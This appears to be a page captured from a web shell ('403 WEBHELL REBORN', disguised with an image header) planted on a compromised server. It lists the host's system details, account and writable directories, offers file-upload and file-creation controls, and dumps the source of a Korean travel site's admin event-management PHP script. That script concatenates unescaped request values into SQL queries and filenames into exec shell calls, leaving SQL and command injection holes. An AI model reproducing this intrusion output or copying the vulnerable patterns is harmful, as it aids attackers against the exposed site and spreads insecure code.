ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/design/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/design/event_proc.php
<?
include "../include/top_proc.html"; //공통파일 인클루드
include "_common.php";

if(!$param){
	$href = "e_idx=$e_idx";
	$href.= "&event_lang=$event_lang";

	$param = $href."&page=$page";
}

$upload = $cf['path']."/FileData/event/"; 

if($SqlType=='insert' || $SqlType=='edit'){


	//받기
	$e_idx				= $_REQUEST['e_idx'];
	$event_title		= insert_smart($_REQUEST['event_title'],"text");
	$event_code			= $_REQUEST['event_code'];
	$event_lang			= $_REQUEST['event_lang'];
	$event_status		= $_REQUEST['event_status'];
	$event_start		= $_REQUEST['event_start'];
	$event_end			= $_REQUEST['event_end'];
	$event_css			= $_REQUEST['event_css'];
	$event_bgcolor		= $_REQUEST['event_bgcolor'];
	$event_gradent		= $_REQUEST['event_gradent'];


	$time_sale_people_cnt = (int) $_REQUEST['time_sale_people_cnt'];
	$time_sale_deadline = $_REQUEST['time_sale_deadline'];
	$time_sale_status = $_REQUEST['time_sale_status'];


	// 이벤트정보
	if($e_idx) {
		$sql="SELECT * FROM TB_EVENT_GOOD where e_idx='".$e_idx."' ";
		$data = db_fetch($sql);
	}

	// 상품코드 중복체크
	$code_chk = db_fetch("SELECT count(*) as cnt FROM TB_EVENT where event_code='".$event_code."' AND e_idx != '".$e_idx."' ");
	if($code_chk['cnt'] > 0) {
		error_msg('상품코드가 중복됩니다.');
	}

	// 이벤트 상단 이미지
	if($_FILES['event_top_image']['name']) {
		@unlink($upload.$data['event_top_image']);

		//이미지 업로드
		$up_img1 = @FileUploadName( "", $upload, $_FILES['event_top_image']['tmp_name'], $_FILES['event_top_image']['name'] ,"");//파일 업로드
	}

	// 이벤트 목록 이미지 (PC / 모바일)
	if($_FILES['event_list_image']['name']) {
		@unlink($upload.$data['event_list_image']);

		//이미지 업로드
		$up_img2 = @FileUploadName( "", $upload, $_FILES['event_list_image']['tmp_name'], $_FILES['event_list_image']['name'] ,"");//파일 업로드
	}
	if($_FILES['event_list_image_m']['name']) {
		@unlink($upload.$data['event_list_image_m']);

		//이미지 업로드
		$up_img3 = @FileUploadName( "", $upload, $_FILES['event_list_image_m']['tmp_name'], $_FILES['event_list_image_m']['name'] ,"");//파일 업로드
	}


	// 에디터 설정
	$event_header = insert_smart($_REQUEST['event_header'],"editor");
	$event_footer = insert_smart($_REQUEST['event_footer'],"editor");

	if($SqlType=="insert"){

		$SQL ="INSERT INTO TB_EVENT SET \n";
		$SQL.="		 event_title		='".$event_title."' \n";
		$SQL.="		,event_code		='".$event_code."' \n";
		$SQL.="		,event_lang		='".$event_lang."' \n";
		$SQL.="		,event_status	='".$event_status."' \n";
		$SQL.="		,event_start	='".$event_start."' \n";
		$SQL.="		,event_end	='".$event_end."' \n";

		$SQL.="		,time_sale_status	='".$time_sale_status."' \n";
		$SQL.="		,time_sale_people_cnt	='".$time_sale_people_cnt."' \n";
		$SQL.="		,time_sale_deadline	='".$time_sale_deadline."' \n";

		$SQL.="		,event_header		='".$event_header."' \n";
		$SQL.="		,event_footer		='".$event_footer."' \n";
		$SQL.="		,event_css		='".$event_css."' \n";
		$SQL.="		,event_bgcolor		='".$event_bgcolor."' \n";
		$SQL.="		,event_top_image		='".$up_img1."' \n";
		$SQL.="		,event_list_image		='".$up_img2."' \n";
		$SQL.="		,event_list_image_m		='".$up_img3."' \n";
		$SQL.="		,event_gradent		='".$event_gradent."' \n";
		$SQL.="		,ins_dt		= now() \n";
		$SQL.="		,ins_id		='".$TO_MB['mb_id']."' \n";

		$Result = db_query($SQL);

		error_msg('no_alert','event_list.html?'.$param);

	}else if($SqlType=='edit'){// 수정 처리
		
		if(!$e_idx) error_msg('잘못된 방법입니다.');

		$SQL ="UPDATE TB_EVENT SET \n";
		$SQL.="		 event_title		='".$event_title."' \n";
		$SQL.="		,event_code		='".$event_code."' \n";
		$SQL.="		,event_lang		='".$event_lang."' \n";
		$SQL.="		,event_status	='".$event_status."' \n";
		$SQL.="		,event_start	='".$event_start."' \n";
		$SQL.="		,event_end	='".$event_end."' \n";

		$SQL.="		,time_sale_status	='".$time_sale_status."' \n";
		$SQL.="		,time_sale_people_cnt	='".$time_sale_people_cnt."' \n";
		$SQL.="		,time_sale_deadline	='".$time_sale_deadline."' \n";

		$SQL.="		,event_header		='".$event_header."' \n";
		$SQL.="		,event_footer		='".$event_footer."' \n";
		$SQL.="		,event_css		='".$event_css."' \n";
		$SQL.="		,event_bgcolor		='".$event_bgcolor."' \n";
		if($up_img1) $SQL.=",event_top_image		='".$up_img1."' \n";
		if($up_img2) $SQL.=",event_list_image		='".$up_img2."' \n";
		if($up_img3) $SQL.=",event_list_image_m		='".$up_img3."' \n";
		$SQL.="		,event_gradent		='".$event_gradent."' \n";

		$SQL.=" WHERE e_idx = '".$e_idx."' \n";

//		if(devCookie()){
//			p($SQL);
//			exit;
//		}

		$Result = db_query($SQL);

		error_msg('no_alert','event_edit.html?'.$param.'&e_idx='.$e_idx);
	}
}else if($SqlType=='delete'){

	if(!$e_idx) error_msg('잘못된 방법입니다.');

	// 이벤트 삭제
	$dbdel2 = "delete from TB_EVENT where e_idx='".$e_idx."'" ;
	$res2 = db_query($dbdel2);

	// 해당 게시물 삭제 (20090820 )
	$dbdel = "delete from TB_EVENT_GOOD where e_idx='".$e_idx."'" ;
	$res = db_query($dbdel);

	error_msg('no_alert','event_list.html?'.$param);
	
	exit;

}elseif($SqlType=="good_change_ordernum"){ // 상품순서 수정

	if(!$order_num_arr or !$good_seq_arr) exit;

	for($i=0 ; $i < count($order_num_arr) ; $i++){
		$sql = "update TB_EVENT_GOOD set eg_order_num='{$order_num_arr[$i]}' where eg_idx='$good_seq_arr[$i]'";
		db_query($sql);
	}

	error_msg("ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}elseif($SqlType=="good_delete"){// 상품 삭제

	if(!$eg_idx) exit;

	$sql = "delete from TB_EVENT_GOOD where eg_idx='{$eg_idx}'";

	db_query($sql);

	error_msg("ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}elseif($SqlType=="good_change_flag"){ // 상품 상태 수정

	if(!$eg_idx or !$delflag) exit;

	$sql = "update TB_EVENT_GOOD set delflag='{$delflag}' where eg_idx='{$eg_idx}' ";
	db_query($sql);

	error_msg("ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}else if($SqlType=="good_insert") { // 상품 등록
	
	if (!$eg_title) exit;

	// 업로드
	if($_FILES['eg_image']['name']) {
		//이미지 업로드
		$up_img = FileUploadName("", $upload, $_FILES['eg_image']['tmp_name'], $_FILES['eg_image']['name'] ,"");//파일 업로드
	}

	$sql ="insert into TB_EVENT_GOOD ( ";
	$sql.=" e_idx ";
	$sql.=" , eg_image ";
	$sql.=" , eg_title";
	$sql.=" , eg_icon ";
	$sql.=" , eg_date ";
	$sql.=" , eg_price_normal ";
	$sql.=" , eg_price ";
	$sql.=" , eg_url ";
	$sql.=" , eg_order_num ";
	$sql.=" , ins_dt ";
	$sql.=" , ins_id ";

	$sql.=" ) values ( ";
	$sql.=" '".$e_idx."' ";
	$sql.=" ,'".$up_img."' ";
	$sql.=" ,'".$eg_title."' ";
	$sql.=" ,'".$eg_icon."' ";
	$sql.=" ,'".$eg_date."' ";
	$sql.=" ,'".$eg_price_normal."' ";
	$sql.=" ,'".$eg_price."' ";
	$sql.=" ,'".$eg_url."' ";
	$sql.=" ,'".$eg_order_num."' ";
	$sql.=" , now()  ";
	$sql.=" , '".$TO_MB['mb_id']."' ";
	$sql.=" ) ";

	db_query($sql);

	error_msg("parent.to_dialog.close('{$tmp_layer_id}');ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}elseif($SqlType == "good_edit"){

	if (!$eg_idx) exit;

	// 상품정보
	$sql="SELECT * FROM TB_EVENT_GOOD where eg_idx='".$eg_idx."' ";
	$data = db_fetch($sql);

	//업로드 파일이 있으면 기존 파일 삭제
	if($_FILES['eg_image']['name']) {
		@unlink($upload.$data['eg_image']);

		//이미지 업로드
		$up_img = @FileUploadName( "", $upload, $_FILES['eg_image']['tmp_name'], $_FILES['eg_image']['name'] ,"");//파일 업로드
	}

	$sql= " UPDATE TB_EVENT_GOOD SET ";
	$sql.="	eg_title='".$eg_title."' ";
	if($up_img) {
		$sql.="	,eg_image='".$up_img."' ";
	}
	$sql.="	,eg_icon='".$eg_icon."' ";
	$sql.="	,eg_date='".$eg_date."' ";
	$sql.="	,eg_price_normal='".$eg_price_normal."' ";
	$sql.=" ,eg_price='".$eg_price."' ";
	$sql.=" ,eg_url='".$eg_url."' ";
	$sql.=" ,eg_order_num='".$eg_order_num."' ";

	$sql.=" WHERE eg_idx='".$eg_idx."' LIMIT 1";

	db_query($sql);

	error_msg("parent.to_dialog.close('{$tmp_layer_id}');ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}elseif($SqlType == "good_copy"){

	if (!$e_idx || !$eg_idx) exit;

	// 상품정보
	$sql="SELECT * FROM TB_EVENT_GOOD where eg_idx='".$eg_idx."' ";
	$data = db_fetch($sql);

	// 이미지 복사
	if($data['eg_image']) {
		// 이전이미지
		$orig_path = $upload.$data['eg_image'];
	
		// 새이미지
		$new_fn = getUniqueFileName($data['eg_image']); // // 이미지명 새로생성
		$new_path = $upload.$new_fn;
	
		@exec("cp -p {$orig_path} {$new_path}");
		@exec("cp -p {$orig_path_thum} {$new_path_thum}");
	}

	// 데이터 삽입
	$data['eg_idx'] = '';
	$data['eg_image'] = $new_fn;

	$sql ="insert into TB_EVENT_GOOD VALUES('".implode("','", $data)."'); ";

	db_query($sql);

	error_msg("ajax_loader('event_good_list_ajax.php?e_idx={$e_idx}','event_good_ajax');","script");

	exit;

}

Anon7 - 2021